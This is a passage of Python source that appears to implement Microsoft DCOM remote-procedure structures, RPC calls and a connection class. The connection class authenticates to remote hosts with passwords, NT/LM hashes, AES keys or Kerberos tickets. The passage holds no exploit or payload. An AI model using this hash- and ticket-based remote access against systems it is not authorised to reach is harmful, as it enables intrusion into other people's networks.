uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0'))\nIID_IClassFactory             = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0'))\n\n# Protocol Identifiers, from [c706] Annex I\nTOWERID_OSI_TP4 = 0x05\nTOWERID_OSI_CLNS = 0x06\nTOWERID_DOD_TCP = 0x0007\nTOWERID_DOD_UDP = 0x08\nTOWERID_DOD_IP = 0x09\nTOWERID_RPC_connectionless = 0x0a\nTOWERID_RPC_connectionoriented = 0x0b\nTOWERID_DNA_Session_Control = 0x02\nTOWERID_DNA_Session_Control_V3 = 0x03\nTOWERID_DNA_NSP_Transport = 0x04\nTOWERID_DNA_Routing = 0x06\nTOWERID_Named_Pipes = 0x10\nTOWERID_NetBIOS_11 = 0x11\nTOWERID_NetBEUI = 0x12\nTOWERID_Netware_SPX = 0x13\nTOWERID_Netware_IPX = 0x14\nTOWERID_Appletalk_Stream = 0x16\nTOWERID_Appletalk_Datagram = 0x17\nTOWERID_Appletalk = 0x18\nTOWERID_NetBIOS_19 = 0x19\nTOWERID_VINES_SPP = 0x1A\nTOWERID_VINES_IPC = 0x1B\nTOWERID_StreetTalk = 0x1C\nTOWERID_Unix_Domain_socket = 0x20\nTOWERID_null = 0x21\nTOWERID_NetBIOS_22 = 0x22\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1]\n            return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1 OID\nOID = ULONGLONG\n\nclass OID_ARRAY(NDRUniConformantArray):\n    item = OID\n\nclass POID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', OID_ARRAY),\n    )\n\n# 2.2.2 SETID\nSETID = ULONGLONG\n\n# 2.2.4 error_status_t\nerror_status_t = ULONG\n\n# 2.2.6 CID\nCID = GUID\n\n# 2.2.7 CLSID\nCLSID = GUID\n\n# 2.2.8 IID\nIID = GUID\nPIID = PGUID\n\n# 2.2.9 IPID\nIPID = GUID\n\n# 2.2.10 OXID\nOXID = ULONGLONG\n\n# 2.2.18 OBJREF\nFLAGS_OBJREF_STANDARD = 0x00000001\nFLAGS_OBJREF_HANDLER  = 0x00000002\nFLAGS_OBJREF_CUSTOM   = 0x00000004\nFLAGS_OBJREF_EXTENDED = 0x00000008\n\n# 2.2.18.1 STDOBJREF\nSORF_NOPING = 0x00001000\n\n# 2.2.20 Context\nCTXMSHLFLAGS_BYVAL = 0x00000002\n\n# 2.2.20.1 PROPMARSHALHEADER\nCPFLAG_PROPAGATE = 0x00000001\nCPFLAG_EXPOSE    = 0x00000002\nCPFLAG_ENVOY     = 0x00000004\n\n# 2.2.22.2.1 InstantiationInfoData\nACTVFLAGS_DISABLE_AAA            = 0x00000002\nACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004\nACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008\nACTVFLAGS_NO_FAILURE_LOG         = 0x00000020\n\n# 2.2.22.2.2 SpecialPropertiesData\nSPD_FLAG_USE_CONSOLE_SESSION  = 0x00000001\n\n# 2.2.28.1 IDL Range Constants\nMAX_REQUESTED_INTERFACES = 0x8000\nMAX_REQUESTED_PROTSEQS   = 0x8000\nMIN_ACTPROP_LIMIT        = 1\nMAX_ACTPROP_LIMIT        = 10\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass handle_t(NDRSTRUCT):\n    structure =  (\n        ('context_handle_attributes',ULONG),\n        ('context_handle_uuid',UUID),\n    )\n\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n\n# 2.2.11 COMVERSION\nclass COMVERSION(NDRSTRUCT):\n    default_major_version = 5\n    default_minor_version = 7\n\n    structure = (\n        ('MajorVersion',USHORT),\n        ('MinorVersion',USHORT),\n    )\n\n    @classmethod\n    def set_default_version(cls, major_version=None, minor_version=None):\n        # Set default dcom version for all new COMVERSION objects.\n        if major_version is not None:\n            cls.default_major_version = major_version\n        if minor_version is not None:\n            cls.default_minor_version = minor_version\n\n    def __init__(self, data = None,isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        if data is None:\n            self['MajorVersion'] = self.default_major_version\n            self['MinorVersion'] = self.default_minor_version\n\nclass PCOMVERSION(NDRPOINTER):\n    referent = (\n        ('Data', COMVERSION),\n    )\n\n# 2.2.13.1 ORPC_EXTENT\n# This MUST contain an array of bytes that form the extent data. \n# The array size MUST be a multiple of 8 for alignment reasons.\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass ORPC_EXTENT(NDRSTRUCT):\n    structure = (\n        ('id',GUID),\n        ('size',ULONG),\n        ('data',BYTE_ARRAY),\n    )\n\n# 2.2.13.2 ORPC_EXTENT_ARRAY\n# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons.\nclass PORPC_EXTENT(NDRPOINTER):\n    referent = (\n        ('Data', ORPC_EXTENT),\n    )\n\nclass EXTENT_ARRAY(NDRUniConformantArray):\n    item = PORPC_EXTENT\n\nclass PEXTENT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', EXTENT_ARRAY),\n    )\n\nclass ORPC_EXTENT_ARRAY(NDRSTRUCT):\n    structure = (\n        ('size',ULONG),\n        ('reserved',ULONG),\n        ('extent',PEXTENT_ARRAY),\n    )\n\nclass PORPC_EXTENT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', ORPC_EXTENT_ARRAY),\n    )\n\n# 2.2.13.3 ORPCTHIS\nclass ORPCTHIS(NDRSTRUCT):\n    structure = (\n        ('version',COMVERSION),\n        ('flags',ULONG),\n        ('reserved1',ULONG),\n        ('cid',CID),\n        ('extensions',PORPC_EXTENT_ARRAY),\n    )\n\n# 2.2.13.4 ORPCTHAT\nclass ORPCTHAT(NDRSTRUCT):\n    structure = (\n        ('flags',ULONG),\n        ('extensions',PORPC_EXTENT_ARRAY),\n    )\n\n# 2.2.14 MInterfacePointer\nclass MInterfacePointer(NDRSTRUCT):\n    structure = (\n        ('ulCntData',ULONG),\n        ('abData',BYTE_ARRAY),\n    )\n\n# 2.2.15 PMInterfacePointerInternal\nclass PMInterfacePointerInternal(NDRPOINTER):\n    referent = (\n        ('Data', MInterfacePointer),\n    )\n\n# 2.2.16 PMInterfacePointer\nclass PMInterfacePointer(NDRPOINTER):\n    referent = (\n        ('Data', MInterfacePointer),\n    )\n\nclass PPMInterfacePointer(NDRPOINTER):\n    referent = (\n        ('Data', PMInterfacePointer),\n    )\n\n# 2.2.18 OBJREF\nclass OBJREF(NDRSTRUCT):\n    commonHdr = (\n        ('signature',ULONG),\n        ('flags',ULONG),\n        ('iid',GUID),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        if data is None:\n            self['signature'] = 0x574F454D\n\n# 2.2.18.1 STDOBJREF\nclass STDOBJREF(NDRSTRUCT):\n    structure = (\n        ('flags',ULONG),\n        ('cPublicRefs',ULONG),\n        ('oxid',OXID),\n        ('oid',OID),\n        ('ipid',IPID),\n    )\n\n# 2.2.18.4 OBJREF_STANDARD\nclass OBJREF_STANDARD(OBJREF):\n    structure = (\n        ('std',STDOBJREF),\n        ('saResAddr',':'),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        OBJREF.__init__(self, data, isNDR64)\n        if data is None:\n            self['flags'] = FLAGS_OBJREF_STANDARD\n\n# 2.2.18.5 OBJREF_HANDLER\nclass OBJREF_HANDLER(OBJREF):\n    structure = (\n        ('std',STDOBJREF),\n        ('clsid',CLSID),\n        ('saResAddr',':'),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        OBJREF.__init__(self, data, isNDR64)\n        if data is None:\n            self['flags'] = FLAGS_OBJREF_HANDLER\n\n# 2.2.18.6 OBJREF_CUSTOM\nclass OBJREF_CUSTOM(OBJREF):\n    structure = (\n        ('clsid',CLSID),\n        ('cbExtension',ULONG),\n        ('ObjectReferenceSize',ULONG),\n        ('pObjectData',':'),\n    )\n    def __init__(self, data = None,isNDR64 = False):\n        OBJREF.__init__(self, data, isNDR64)\n        if data is None:\n            self['flags'] = FLAGS_OBJREF_CUSTOM\n\n# 2.2.18.8 DATAELEMENT\nclass DATAELEMENT(NDRSTRUCT):\n    structure = (\n        ('dataID',GUID),\n        ('cbSize',ULONG),\n        ('cbRounded',ULONG),\n        ('Data',':'),\n    )\n\nclass DUALSTRINGARRAYPACKED(NDRSTRUCT):\n    structure = (\n        ('wNumEntries',USHORT),\n        ('wSecurityOffset',USHORT),\n        ('aStringArray',':'),\n    )\n    def getDataLen(self, data, offset=0):\n        return self['wNumEntries']*2\n\n# 2.2.18.7 OBJREF_EXTENDED\nclass OBJREF_EXTENDED(OBJREF):\n    structure = (\n        ('std',STDOBJREF),\n        ('Signature1',ULONG),\n        ('saResAddr',DUALSTRINGARRAYPACKED),\n        ('nElms',ULONG),\n        ('Signature2',ULONG),\n        ('ElmArray',DATAELEMENT),\n    )\n    def __init__(self, data = None, isNDR64 = False):\n        OBJREF.__init__(self, data, isNDR64)\n        if data is None:\n            self['flags'] = FLAGS_OBJREF_EXTENDED\n            self['Signature1'] = 0x4E535956\n            self['Signature1'] = 0x4E535956\n            self['nElms'] = 0x4E535956\n\n# 2.2.19 DUALSTRINGARRAY\nclass USHORT_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\nclass PUSHORT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', USHORT_ARRAY),\n    )\n\nclass DUALSTRINGARRAY(NDRSTRUCT):\n    structure = (\n        ('wNumEntries',USHORT),\n        ('wSecurityOffset',USHORT),\n        ('aStringArray',USHORT_ARRAY),\n    )\n\nclass PDUALSTRINGARRAY(NDRPOINTER):\n    referent = (\n        ('Data',DUALSTRINGARRAY),\n    )\n\n# 2.2.19.3 STRINGBINDING\nclass STRINGBINDING(NDRSTRUCT):\n    structure = (\n        ('wTowerId',USHORT),\n        ('aNetworkAddr',WIDESTR),\n    )\n\n# 2.2.19.4 SECURITYBINDING\nclass SECURITYBINDING(NDRSTRUCT):\n    structure = (\n        ('wAuthnSvc',USHORT),\n        ('Reserved',USHORT),\n        ('aPrincName',WIDESTR),\n    )\n\n# 2.2.20.1 PROPMARSHALHEADER\nclass PROPMARSHALHEADER(NDRSTRUCT):\n    structure = (\n        ('clsid',CLSID),\n        ('policyId',GUID),\n        ('flags',ULONG),\n        ('cb',ULONG),\n        ('ctxProperty',':'),\n    )\n\nclass PROPMARSHALHEADER_ARRAY(NDRUniConformantArray):\n    item = PROPMARSHALHEADER\n\n# 2.2.20 Context\nclass Context(NDRSTRUCT):\n    structure = (\n        ('MajorVersion',USHORT),\n        ('MinVersion',USHORT),\n        ('ContextId',GUID),\n        ('Flags',ULONG),\n        ('Reserved',ULONG),\n        ('dwNumExtents',ULONG),\n        ('cbExtents',ULONG),\n        ('MshlFlags',ULONG),\n        ('Count',ULONG),\n        ('Frozen',ULONG),\n        ('PropMarshalHeader',PROPMARSHALHEADER_ARRAY),\n    )\n\n# 2.2.21.3 ErrorInfoString\nclass ErrorInfoString(NDRSTRUCT):\n    structure = (\n        ('dwMax',ULONG),\n        ('dwOffSet',ULONG),\n        ('dwActual',IID),\n        ('Name',WSTR),\n    )\n\n# 2.2.21.2 Custom-Marshaled Error Information Format\nclass ORPC_ERROR_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('dwVersion',ULONG),\n        ('dwHelpContext',ULONG),\n        ('iid',IID),\n        ('dwSourceSignature',ULONG),\n        ('Source',ErrorInfoString),\n        ('dwDescriptionSignature',ULONG),\n        ('Description',ErrorInfoString),\n        ('dwHelpFileSignature',ULONG),\n        ('HelpFile',ErrorInfoString),\n    )\n\n# 2.2.21.5 EntryHeader\nclass EntryHeader(NDRSTRUCT):\n    structure = (\n        ('Signature',ULONG),\n        ('cbEHBuffer',ULONG),\n        ('cbSize',ULONG),\n        ('reserved',ULONG),\n        ('policyID',GUID),\n    )\n\nclass EntryHeader_ARRAY(NDRUniConformantArray):\n    item = EntryHeader\n\n# 2.2.21.4 Context ORPC Extension\nclass ORPC_CONTEXT(NDRSTRUCT):\n    structure = (\n        ('SignatureVersion',ULONG),\n        ('Version',ULONG),\n        ('cPolicies',ULONG),\n        ('cbBuffer',ULONG),\n        ('cbSize',ULONG),\n        ('hr',ULONG),\n        ('hrServer',ULONG),\n        ('reserved',ULONG),\n        ('EntryHeader',EntryHeader_ARRAY),\n        ('PolicyData',':'),\n    )\n    def __init__(self, data = None, isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        if data is None:\n            self['SignatureVersion'] = 0x414E554B\n\n# 2.2.22.1 CustomHeader\nclass CLSID_ARRAY(NDRUniConformantArray):\n    item = CLSID\n\nclass PCLSID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', CLSID_ARRAY),\n    )\n\nclass DWORD_ARRAY(NDRUniConformantArray):\n    item = DWORD\n\nclass PDWORD_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DWORD_ARRAY),\n    )\n\nclass CustomHeader(TypeSerialization1):\n    structure = (\n        ('totalSize',DWORD),\n        ('headerSize',DWORD),\n        ('dwReserved',DWORD),\n        ('destCtx',DWORD),\n        ('cIfs',DWORD),\n        ('classInfoClsid',CLSID),\n        ('pclsid',PCLSID_ARRAY),\n        ('pSizes',PDWORD_ARRAY),\n        ('pdwReserved',LPLONG),\n        #('pdwReserved',LONG),\n    )\n    def getData(self, soFar = 0):\n        self['headerSize'] = len(TypeSerialization1.getData(self, soFar)) + len(\n            TypeSerialization1.getDataReferents(self, soFar))\n        self['cIfs'] = len(self['pclsid'])\n        return TypeSerialization1.getData(self, soFar)\n\n# 2.2.22 Activation Properties BLOB\nclass ACTIVATION_BLOB(NDRTLSTRUCT):\n    structure = (\n        ('dwSize',ULONG),\n        ('dwReserved',ULONG),\n        ('CustomHeader',CustomHeader),\n        ('Property',UNKNOWNDATA),\n    )\n    def getData(self, soFar = 0):\n        self['dwSize'] = len(self['CustomHeader'].getData(soFar)) + len(\n            self['CustomHeader'].getDataReferents(soFar)) + len(self['Property'])\n        self['CustomHeader']['totalSize'] = self['dwSize']\n        return NDRTLSTRUCT.getData(self)\n\n# 2.2.22.2.1 InstantiationInfoData\nclass IID_ARRAY(NDRUniConformantArray):\n    item = IID\n\nclass PIID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', IID_ARRAY),\n    )\n\nclass InstantiationInfoData(TypeSerialization1):\n    structure = (\n        ('classId',CLSID),\n        ('classCtx',DWORD),\n        ('actvflags',DWORD),\n        ('fIsSurrogate',LONG),\n        ('cIID',DWORD),\n        ('instFlag',DWORD),\n        ('pIID',PIID_ARRAY),\n        ('thisSize',DWORD),\n        ('clientCOMVersion',COMVERSION),\n    )\n\n# 2.2.22.2.2 SpecialPropertiesData\nclass SpecialPropertiesData(TypeSerialization1):\n    structure = (\n        ('dwSessionId',ULONG),\n        ('fRemoteThisSessionId',LONG),\n        ('fClientImpersonating',LONG),\n        ('fPartitionIDPresent',LONG),\n        ('dwDefaultAuthnLvl',DWORD),\n        ('guidPartition',GUID),\n        ('dwPRTFlags',DWORD),\n        ('dwOrigClsctx',DWORD),\n        ('dwFlags',DWORD),\n        ('Reserved0',DWORD),\n        ('Reserved0',DWORD),\n        ('Reserved', '32s=\"\"'),\n        #('Reserved1',DWORD),\n        #('Reserved2',ULONGLONG),\n        #('Reserved3_1',DWORD),\n        #('Reserved3_2',DWORD),\n        #('Reserved3_3',DWORD),\n        #('Reserved3_4',DWORD),\n        #('Reserved3_5',DWORD),\n    )\n\n# 2.2.22.2.3 InstanceInfoData\nclass InstanceInfoData(TypeSerialization1):\n    structure = (\n        ('fileName',LPWSTR),\n        ('mode',DWORD),\n        ('ifdROT',PMInterfacePointer),\n        ('ifdStg',PMInterfacePointer),\n    )\n\n# 2.2.22.2.4.1 customREMOTE_REQUEST_SCM_INFO\nclass customREMOTE_REQUEST_SCM_INFO(NDRSTRUCT):\n    structure = (\n        ('ClientImpLevel',DWORD),\n        ('cRequestedProtseqs',USHORT),\n        ('pRequestedProtseqs',PUSHORT_ARRAY),\n    )\n\nclass PcustomREMOTE_REQUEST_SCM_INFO(NDRPOINTER):\n    referent = (\n        ('Data', customREMOTE_REQUEST_SCM_INFO),\n    )\n\n# 2.2.22.2.4 ScmRequestInfoData\nclass ScmRequestInfoData(TypeSerialization1):\n    structure = (\n        ('pdwReserved',LPLONG),\n        ('remoteRequest',PcustomREMOTE_REQUEST_SCM_INFO),\n    )\n\n# 2.2.22.2.5 ActivationContextInfoData\nclass ActivationContextInfoData(TypeSerialization1):\n    structure = (\n        ('clientOK',LONG),\n        ('bReserved1',LONG),\n        ('dwReserved1',DWORD),\n        ('dwReserved2',DWORD),\n        ('pIFDClientCtx',PMInterfacePointer),\n        ('pIFDPrototypeCtx',PMInterfacePointer),\n    )\n\n# 2.2.22.2.6 LocationInfoData\nclass LocationInfoData(TypeSerialization1):\n    structure = (\n        ('machineName',LPWSTR),\n        ('processId',DWORD),\n        ('apartmentId',DWORD),\n        ('contextId',DWORD),\n    )\n\n# 2.2.22.2.7.1 COSERVERINFO\nclass COSERVERINFO(NDRSTRUCT):\n    structure = (\n        ('dwReserved1',DWORD),\n        ('pwszName',LPWSTR),\n        ('pdwReserved',LPLONG),\n        ('dwReserved2',DWORD),\n    )\n\nclass PCOSERVERINFO(NDRPOINTER):\n    referent = (\n        ('Data', COSERVERINFO),\n    )\n\n# 2.2.22.2.7 SecurityInfoData\nclass SecurityInfoData(TypeSerialization1):\n    structure = (\n        ('dwAuthnFlags',DWORD),\n        ('pServerInfo',PCOSERVERINFO),\n        ('pdwReserved',LPLONG),\n    )\n\n# 2.2.22.2.8.1 customREMOTE_REPLY_SCM_INFO\nclass customREMOTE_REPLY_SCM_INFO(NDRSTRUCT):\n    structure = (\n        ('Oxid',OXID),\n        ('pdsaOxidBindings',PDUALSTRINGARRAY),\n        ('ipidRemUnknown',IPID),\n        ('authnHint',DWORD),\n        ('serverVersion',COMVERSION),\n    )\n\nclass PcustomREMOTE_REPLY_SCM_INFO(NDRPOINTER):\n    referent = (\n        ('Data', customREMOTE_REPLY_SCM_INFO),\n    )\n\n# 2.2.22.2.8 ScmReplyInfoData\nclass ScmReplyInfoData(TypeSerialization1):\n    structure = (\n        ('pdwReserved',DWORD),\n        ('remoteReply',PcustomREMOTE_REPLY_SCM_INFO),\n    )\n\n# 2.2.22.2.9 PropsOutInfo\nclass HRESULT_ARRAY(NDRUniConformantArray):\n    item = HRESULT\n\nclass PHRESULT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', HRESULT_ARRAY),\n    )\n\nclass MInterfacePointer_ARRAY(NDRUniConformantArray):\n    item = MInterfacePointer\n\nclass PMInterfacePointer_ARRAY(NDRUniConformantArray):\n    item = PMInterfacePointer\n\nclass PPMInterfacePointer_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', PMInterfacePointer_ARRAY),\n    )\n\nclass PropsOutInfo(TypeSerialization1):\n    structure = (\n        ('cIfs',DWORD),\n        ('piid',PIID_ARRAY),\n        ('phresults',PHRESULT_ARRAY),\n        ('ppIntfData',PPMInterfacePointer_ARRAY),\n    )\n\n# 2.2.23 REMINTERFACEREF\nclass REMINTERFACEREF(NDRSTRUCT):\n    structure = (\n        ('ipid',IPID),\n        ('cPublicRefs',LONG),\n        ('cPrivateRefs',LONG),\n    )\n\nclass REMINTERFACEREF_ARRAY(NDRUniConformantArray):\n    item = REMINTERFACEREF\n\n# 2.2.24 REMQIRESULT\nclass REMQIRESULT(NDRSTRUCT):\n    structure = (\n        ('hResult',HRESULT),\n        ('std',STDOBJREF),\n    )\n\n# 2.2.25 PREMQIRESULT\nclass PREMQIRESULT(NDRPOINTER):\n    referent = (\n        ('Data', REMQIRESULT),\n    )\n\n# 2.2.26 REFIPID\nREFIPID = GUID\n\n################################################################################\n# RPC CALLS\n################################################################################\nclass DCOMCALL(NDRCALL):\n    commonHdr = (\n       ('ORPCthis', ORPCTHIS),\n    )\n\nclass DCOMANSWER(NDRCALL):\n    commonHdr = (\n       ('ORPCthat', ORPCTHAT),\n    )\n\n# 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0)\nclass ResolveOxid(NDRCALL):\n    opnum = 0\n    structure = (\n       ('pOxid', OXID),\n       ('cRequestedProtseqs', USHORT),\n       ('arRequestedProtseqs', USHORT_ARRAY),\n    )\n\nclass ResolveOxidResponse(NDRCALL):\n    structure = (\n       ('ppdsaOxidBindings', PDUALSTRINGARRAY),\n       ('pipidRemUnknown', IPID),\n       ('pAuthnHint', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.1.2 IObjectExporter::SimplePing (Opnum 1)\nclass SimplePing(NDRCALL):\n    opnum = 1\n    structure = (\n       ('pSetId', SETID),\n    )\n\nclass SimplePingResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.1.3 IObjectExporter::ComplexPing (Opnum 2)\nclass ComplexPing(NDRCALL):\n    opnum = 2\n    structure = (\n       ('pSetId', SETID),\n       ('SequenceNum', USHORT),\n       ('cAddToSet', USHORT),\n       ('cDelFromSet', USHORT),\n       ('AddToSet', POID_ARRAY),\n       ('DelFromSet', POID_ARRAY),\n    )\n\nclass ComplexPingResponse(NDRCALL):\n    structure = (\n       ('pSetId', SETID),\n       ('pPingBackoffFactor', USHORT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3)\nclass ServerAlive(NDRCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass ServerAliveResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4)\nclass ResolveOxid2(NDRCALL):\n    opnum = 4\n    structure = (\n       ('pOxid', OXID),\n       ('cRequestedProtseqs', USHORT),\n       ('arRequestedProtseqs', USHORT_ARRAY),\n    )\n\nclass ResolveOxid2Response(NDRCALL):\n    structure = (\n       ('ppdsaOxidBindings', PDUALSTRINGARRAY),\n       ('pipidRemUnknown', IPID),\n       ('pAuthnHint', DWORD),\n       ('pComVersion', COMVERSION),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.1.6 IObjectExporter::ServerAlive2 (Opnum 5)\nclass ServerAlive2(NDRCALL):\n    opnum = 5\n    structure = (\n    )\n\nclass ServerAlive2Response(NDRCALL):\n    structure = (\n       ('pComVersion', COMVERSION),\n       ('ppdsaOrBindings', PDUALSTRINGARRAY),\n       ('pReserved', LPLONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0)\nclass RemoteActivation(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ORPCthis', ORPCTHIS),\n       ('Clsid', GUID),\n       ('pwszObjectName', LPWSTR),\n       ('pObjectStorage', PMInterfacePointer),\n       ('ClientImpLevel', DWORD),\n       ('Mode', DWORD),\n       ('Interfaces', DWORD),\n       ('pIIDs', PIID_ARRAY),\n       ('cRequestedProtseqs', USHORT),\n       ('aRequestedProtseqs', USHORT_ARRAY),\n    )\n\nclass RemoteActivationResponse(NDRCALL):\n    structure = (\n       ('ORPCthat', ORPCTHAT),\n       ('pOxid', OXID),\n       ('ppdsaOxidBindings', PDUALSTRINGARRAY),\n       ('pipidRemUnknown', IPID),\n       ('pAuthnHint', DWORD),\n       ('pServerVersion', COMVERSION),\n       ('phr', HRESULT),\n       ('ppInterfaceData', PMInterfacePointer_ARRAY),\n       ('pResults', HRESULT_ARRAY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.2.3.2 IRemoteSCMActivator:: RemoteGetClassObject (Opnum 3)\nclass RemoteGetClassObject(NDRCALL):\n    opnum = 3\n    structure = (\n       ('ORPCthis', ORPCTHIS),\n       ('pActProperties', PMInterfacePointer),\n    )\n\nclass RemoteGetClassObjectResponse(NDRCALL):\n    structure = (\n       ('ORPCthat', ORPCTHAT),\n       ('ppActProperties', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.5.2.3.3 IRemoteSCMActivator::RemoteCreateInstance (Opnum 4)\nclass RemoteCreateInstance(NDRCALL):\n    opnum = 4\n    structure = (\n       ('ORPCthis', ORPCTHIS),\n       ('pUnkOuter', PMInterfacePointer),\n       ('pActProperties', PMInterfacePointer),\n    )\n\nclass RemoteCreateInstanceResponse(NDRCALL):\n    structure = (\n       ('ORPCthat', ORPCTHAT),\n       ('ppActProperties', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.1.5.6.1.1 IRemUnknown::RemQueryInterface (Opnum 3)\nclass RemQueryInterface(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('ripid', REFIPID),\n       ('cRefs', ULONG),\n       ('cIids', USHORT),\n       ('iids', IID_ARRAY),\n    )\n\nclass RemQueryInterfaceResponse(DCOMANSWER):\n    structure = (\n       ('ppQIResults', PREMQIRESULT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.1.5.6.1.2 IRemUnknown::RemAddRef (Opnum 4 )\nclass RemAddRef(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('cInterfaceRefs', USHORT),\n       ('InterfaceRefs', REMINTERFACEREF_ARRAY),\n    )\n\nclass RemAddRefResponse(DCOMANSWER):\n    structure = (\n       ('pResults', DWORD_ARRAY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.1.5.6.1.3 IRemUnknown::RemRelease (Opnum 5)\nclass RemRelease(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('cInterfaceRefs', USHORT),\n       ('InterfaceRefs', REMINTERFACEREF_ARRAY),\n    )\n\nclass RemReleaseResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\nclass DCOMConnection:\n    \"\"\"\n    This class represents a DCOM Connection. It is in charge of establishing the \n    DCE connection against the portmap, and then launch a thread that will be \n    pinging the objects created against the target.\n    In theory, there should be a single instance of this class for every target\n    \"\"\"\n    PINGTIMER = None\n    OID_ADD = {}\n    OID_DEL = {}\n    OID_SET = {}\n    PORTMAPS = {}\n\n    def __init__(self, target, username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None,\n                 authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None, remoteHost=None):\n        self.__target = target\n        self.__userName = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = lmhash\n        self.__nthash = nthash\n        self.__aesKey = aesKey\n        self.__TGT    = TGT\n        self.__TGS    = TGS\n        self.__authLevel = authLevel\n        self.__portmap = None\n        self.__oxidResolver = oxidResolver\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__remoteHost = remoteHost\n        self.initConnection()\n\n    @classmethod\n    def addOid(cls, target, oid):\n        if (target in DCOMConnection.OID_ADD) is False:\n            DCOMConnection.OID_ADD[target] = set()\n        DCOMConnection.OID_ADD[target].add(oid)\n        if (target in DCOMConnection.OID_SET) is False:\n            DCOMConnection.OID_SET[target] = {}\n            DCOMConnection.OID_SET[target]['oids'] = set()\n            DCOMConnection.OID_SET[target]['setid'] = 0\n\n    @classmethod\n    def delOid(cls, target, oid):\n        if (target in DCOMConnection.OID_DEL) is False:\n            DCOMConnection.OID_DEL[target] = set()\n        DCOMConnection.OID_DEL[target].add(oid)\n        if (target in DCOMConnection.OID_SET) is False:\n            DCOMConnection.OID_SET[target] = {}\n            DCOMConnection.OID_SET[target]['oids'] = set()\n            DCOMConnection.OID_SET[target]['setid'] = 0\n\n    @classmethod\n    def pingServer(cls):\n        # Here we need to go through all the objects opened and ping them.\n        # ToDo: locking for avoiding race conditions\n        #print DCOMConnection.PORTMAPS\n        #print DCOMConnection.OID_SET\n        try:\n            for target in DCOMConnection.OID_SET:\n                addedOids = set()\n                deletedOids = set()\n                if target in DCOMConnection.OID_ADD:\n                    addedOids = DCOMConnection.OID_ADD[target]\n                    del(DCOMConnection.OID_ADD[target])\n\n                if target in DCOMConnection.OID_DEL:\n                    deletedOids = DCOMConnection.OID_DEL[target]\n                    del(DCOMConnection.OID_DEL[target])\n\n                objExporter = IObjectExporter(DCOMConnection.PORTMAPS[target])\n\n                if len(addedOids) > 0 or len(deletedOids) > 0:\n                    if 'setid' in DCOMConnection.OID_SET[target]:\n                        setId = DCOMConnection.OID_SET[target]['setid']\n                    else:\n                        setId = 0\n                    resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids)\n                    DCOMConnection.OID_SET[target]['oids'] -= deletedOids\n                    DCOMConnection.OID_SET[target]['oids'] |= addedOids\n                    DCOMConnection.OID_SET[target]['setid'] = resp['pSetId']\n                else:\n                    objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid'])\n        except Exception as 